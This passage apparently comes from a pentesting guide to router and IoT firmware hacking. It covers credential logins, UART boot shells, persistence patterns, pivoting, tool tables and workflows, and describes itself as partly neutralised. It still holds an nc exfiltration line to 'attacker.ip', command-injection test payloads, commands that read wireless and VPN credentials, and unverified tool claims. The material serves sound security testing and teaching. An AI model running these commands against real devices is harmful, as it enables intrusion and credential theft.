# Working syntax (architecture-specific): HackTricks → "Reverse Shell Cheatsheet";
# Metasploit msfvenom payloads: linux/mipsle/shell_reverse_tcp,
# linux/armle/shell_reverse_tcp, etc. — match to the target ABI you've
# verified during firmware analysis.
# Operator obligation: confirm RoE permits an interactive callback before staging.

Method 2: Telnet/SSH with extracted credentials

# Found in etc/passwd:
# root:x:0:0::/root:/bin/sh
 
# Found in etc/shadow:
# root:$1$xyz...:0:0::/root:/bin/sh
 
# Crack hash or use default password
# Login via telnet:
telnet router.ip
# root / <password>

Method 3: UART shell

# Connect to UART (see Hardware Interfaces section)
# Interrupt boot, modify bootargs to spawn shell:
setenv bootargs "init=/bin/sh"
boot

Persistence Mechanisms

Method 1: Modified firmware (persistence via image repack)

# High-level workflow — payload bodies neutralised.
# 1. Extract firmware (binwalk / unblob)
# 2. Add a persistence primitive into the unpacked rootfs:
#    - SSH authorized_keys append:    >> .../etc/dropbear/authorized_keys
#    - Init-script callback:          >> .../etc/init.d/rcS
#    - Cron entry:                    >> .../etc/crontabs/root
#    The actual key / command line is operator-supplied — see HackTricks
#    "Linux Persistence" + PayloadsAllTheThings for working syntax.
# 3. Repack the filesystem:
mksquashfs squashfs-root/ filesystem_modified.squashfs -comp xz
# 4. Rebuild firmware image (format-dependent: TRX, BIN, UIMAGE, ...)
# 5. Upload via the device's update path (web UI, TFTP, OTA channel).

Method 2: Cron job (live device, writable rootfs)

# Pattern: append a periodic callback to /etc/crontabs/root.
# Payload body neutralised. See HackTricks "Linux Persistence → Cron".
mount -o remount,rw /
# echo "<cron schedule> <persistence command>" >> /etc/crontabs/root
sync

Method 3: Init script (boot-time persistence)

# Pattern: append a backgrounded persistence command to /etc/init.d/rcS so it
# re-launches on every boot. Payload body neutralised.
mount -o remount,rw /
# echo "<persistence command> &" >> /etc/init.d/rcS
sync

Post-Exploitation

Network pivoting:

# Use compromised router as pivot point:
# Route traffic through router to access internal network
 
# Setup SOCKS proxy (if device has netcat/socat):
ssh -D 8080 root@router.ip
 
# Or use Metasploit pivot:
msfconsole
use post/multi/manage/autoroute
set session 1
run

Extracting sensitive data:

# Wireless credentials:
cat /etc/config/wireless
# Contains WPA/WPA2 passwords
 
# VPN credentials:
cat /etc/config/vpn
 
# SNMP community strings:
cat /etc/config/snmpd
 
# Firmware encryption keys:
find / -name "*.key" -o -name "*.pem"

Tools Reference

Firmware Analysis Tools

ToolPurposePlatform
binwalkFirmware extraction, entropy analysisLinux, macOS
unblobModern Rust+Python carver/extractor (OnekeyLab) [verify 2026-04-26]Linux, macOS
firmware-mod-kitFirmware unpacking/repacking — legacy, largely unmaintained [verify 2026-04-26]Linux
jeffersonJFFS2 filesystem extractorLinux
sasquatchSquashFS extractor (supports all versions)Linux
ubi_readerUBI/UBIFS filesystem extractorLinux
cramfsckCramFS extractorLinux
firmware-analysis-toolkit (FAT)Automated firmware analysis (Firmadyne wrapper)Linux
FirmadyneAutomated firmware emulation — upstream stagnant since ~2020 [verify 2026-04-26]Linux
FirmAEAutomated emulation building on Firmadyne, more reliable bring-up [verify 2026-04-26]Linux
FACTFirmware Analysis and Comparison ToolLinux (web-based)

Hardware Tools

Cost figures below are order-of-magnitude — distributor pricing fluctuates with stock and clone availability [verify 2026-04-26].

ToolPurposeCost (USD, indicative)
Bus Pirate (v3 / v4 / v5 “Buspirate 5”)Multi-protocol hardware tool (SPI, I2C, UART, JTAG)~$30-80
CH341AUSB SPI flash programmer (3.3V; 1.8V chips need a level shifter)~$5-15
XGecu T48 / T56Universal programmer (broader chip DB than CH341A); Xgpro Windows software, partial Linux support [verify 2026-04-26]~$60-160
FT232 / CP2102 / CH340USB to UART adapter~$3-10
J-Link (Segger)JTAG/SWD debugger (ARM); Edu variant restricted to non-commercial use~400+ (Plus/Pro)
Black Magic ProbeOpen-source ARM JTAG/SWD probe with built-in GDB server~$60
ST-Link v2 / v3STM32-targeted SWD/JTAG (works as generic SWD via OpenOCD)~$3-25
Raspberry PiMulti-purpose (SPI programmer, JTAG via OpenOCD, GPIO)~$15-90
Logic AnalyzerProtocol analysis (Saleae Logic, DSLogic, Pulseview-compatible)~500+ (Saleae Pro)
JTAGulatorJTAG pin identification (Joe Grand)~$150

Emulation & Debugging

ToolPurpose
QEMUCPU emulation (ARM, MIPS, PowerPC, RISC-V, etc.)
FirmadyneAutomated firmware emulation framework — legacy [verify 2026-04-26]
firmware-analysis-toolkit (FAT)Wrapper for Firmadyne with extra fix-ups
FirmAEFirmadyne-derived emulator with improved boot success rates [verify 2026-04-26]
ARM-XARM firmware emulation framework
unicorn / qilingSelective binary / OS-emulation frameworks
OpenOCDJTAG/SWD debugging (broad target coverage)
probe-rsRust-native SWD/JTAG host (ARM Cortex-M, RISC-V) [verify 2026-04-26]
GDB-multiarchMulti-architecture debugger

Binary Analysis

ToolPurpose
GhidraNSA disassembler/decompiler (ARM, MIPS, PowerPC, AArch64, RISC-V); free [verify 2026-04-26 for current major version]
IDA Pro / IDA FreeCommercial disassembler (Hex-Rays); deepest ARM/MIPS coverage [verify 2026-04-26]
Binary NinjaCommercial disassembler (Vector 35); strong scripting and BNIL [verify 2026-04-26]
Radare2 / rizin / CutterOpen-source RE framework (rizin/Cutter is the community fork)
angrBinary analysis framework (symbolic execution)

Exploitation

ToolPurpose
MetasploitExploitation framework
pwntoolsExploit development (Python)
Burp SuiteWeb application testing
NmapNetwork scanning (identify open ports/services)

Utilities

# Essential command-line tools (Debian 12+/13 trixie, Ubuntu 22.04+/24.04):
sudo apt install \
    binwalk \
    squashfs-tools \
    mtd-utils \
    flashrom \
    openocd \
    qemu-user-static \
    qemu-system-arm \
    qemu-system-mips \
    gdb-multiarch \
    device-tree-compiler \
    python3-pip \
    pipx
 
# Removed from upstream Debian (do NOT add to install line):
# - firmware-mod-kit  : last shipped in Debian stretch; archive-only since 2018 [verify 2026-04-26]
# - cramfsprogs       : superseded; cramfs is read by the kernel and `binwalk -e`/squashfs-tools cover the carving path
 
# Modern Python tooling — install per-user with pipx (Debian 12+ marks system pip externally-managed):
pipx install unblob          # modern Rust+Python firmware carver (OnekeyLab) [verify 2026-04-26]
pipx install binwalk         # if a newer release than apt's is needed

Practical Workflows

Workflow 1: Router Firmware Analysis

Scenario: Analyze TP-Link router firmware for vulnerabilities.

Step 1: Acquire firmware

wget https://static.tp-link.com/.../ArcherC7v5_us_firmware.bin

Step 2: Extract filesystem

binwalk -e ArcherC7v5_us_firmware.bin
cd _ArcherC7v5_us_firmware.bin.extracted/squashfs-root/

Step 3: Search for vulnerabilities

# Hardcoded credentials:
grep -r "password" etc/
 
# Web vulnerabilities:
find www/ -name "*.cgi" -exec grep -l "system(" {} \;
 
# Example: /www/cgi-bin/admin.cgi calls system() with user input

Step 4: Test exploit

# Emulate firmware (Firmadyne or QEMU)
# Access web interface: http://192.168.0.1/
# Test command injection:
curl "http://192.168.0.1/cgi-bin/admin.cgi?cmd=;id"

Step 5: Report vulnerability

# Responsible disclosure to TP-Link
# CVE request

Workflow 2: IoT Camera Firmware Extraction

Scenario: Extract firmware from Wyze camera via UART.

Step 1: Open device, identify UART

# Locate 4-pin header (TX, RX, GND, VCC)
# Use multimeter to identify GND (continuity to USB shield)

Step 2: Connect UART adapter

# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND

Step 3: Determine baud rate

# Try 115200 baud:
screen /dev/ttyUSB0 115200
 
# Press Enter, look for readable output
# If garbage, try other baud rates

Step 4: Access shell

# Power on device, interrupt boot:
# Press Ctrl+C during U-Boot countdown
 
# Modify boot parameters:
setenv bootargs "init=/bin/sh"
boot
 
# Now have root shell

Step 5: Dump firmware

# Identify flash partitions:
cat /proc/mtd
 
# Dump firmware:
dd if=/dev/mtd0 | nc attacker.ip 1234
 
# On attacker machine:
nc -l -p 1234 > firmware.bin

Workflow 3: Smart Thermostat Privilege Escalation

Scenario: Escalate from web user to root shell.

Step 1: Analyze web application

# Extract firmware, navigate to web root:
cd squashfs-root/www/
 
# Find authentication mechanism:
grep -r "login" *.php *.cgi

Step 2: Identify command injection

# Vulnerable CGI: /cgi-bin/settings.cgi
# Parameter "temp" is passed to system():
system("echo $QUERY_STRING > /tmp/temp.txt");
 
# Test injection:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;id"

Step 3: Gain shell

# Same injection primitive as Step 2, but the appended command becomes a
# reverse-shell callback. Payload neutralised — defensive/educational scope.
# curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;<URL-encoded reverse-shell>"
#
# Working syntax (architecture-specific): HackTricks → "Reverse Shell Cheatsheet".
# Operator-side listener: nc -l -p <port>  (or socat / pwncat-cs / msfconsole multi/handler)

Learning Resources

Documentation

Books

  • The Hardware Hacker by Andrew “bunnie” Huang
  • Practical IoT Hacking by Fotios Chantzis et al.
  • Hardware Hacking Projects for Geeks by Scott Fullam

Online Courses

  • Hardware Hacking (SANS SEC562)
  • eLearnSecurity courses now under INE Security branding (post-2022 acquisition) [verify 2026-04-26] — IoT/embedded tracks moved/renamed.
  • Offensive IoT Exploitation by Attify

Practice Labs


Analysis:

Pentesting & Security:

Engagement governance:


Version: 1.1 Last Updated: 2026-04-26 Review Frequency: Quarterly (fast-rot watchlist: emulation harnesses, programmer chip databases, debug-probe tooling, vendor-disclosure pathways)